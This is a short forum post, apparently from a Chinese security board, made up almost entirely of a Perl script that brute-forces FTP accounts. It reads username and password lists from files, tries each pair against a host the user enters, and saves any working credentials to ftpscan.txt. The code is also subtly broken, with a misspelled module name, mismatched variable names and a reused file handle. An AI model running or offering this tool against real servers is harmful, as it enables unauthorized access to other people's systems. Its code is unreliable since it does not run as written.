文章作者:cnbird
复制内容到剪贴板
代码:
#!/usr/bin/perl -w
#CopyRight by One's wAr(550669)...
use New::FTP;
print "CopyRiGht by oNe's wAr(550669).\n\n\n";
print "input hostname here:\n";
$host=<STDIN>;
print "BeGaIn to brute....";
$file1="FTPUSER";
$file2="FTPPASS";
open(FILE,"$file1")||die "$file1 can't find\n";
while(@user=<FILE>){
foreach $user(@user){
chop ($user);
open(FILE,"$file2")||die "$file2 can't find\n";
while(@passwd=<FILE>){
foreach $passwd(@passwd){
chop($password);
print "\n\n";
$ftp=New::Ftp->new($host)||die "Can't connect host\n";
print "Now BrUtE $user->$password\n";
if($ftp){
$a=$ftp->login($user,$password);
$ftp->quit;
if($a==1){
print "Found username:$username,password:$password\n";
open(H,">>ftpscan.txt")||die "Can't open ftpscan.txt\n";
print H "username:$username password:$password @ host:$host\n";
close H;
}
}
}
}
}
}
print "Result in ftpscan.txt...\n";
print "MaDe in oNe's wAr(550669);\n";
print "Thanks spirit and all....\n";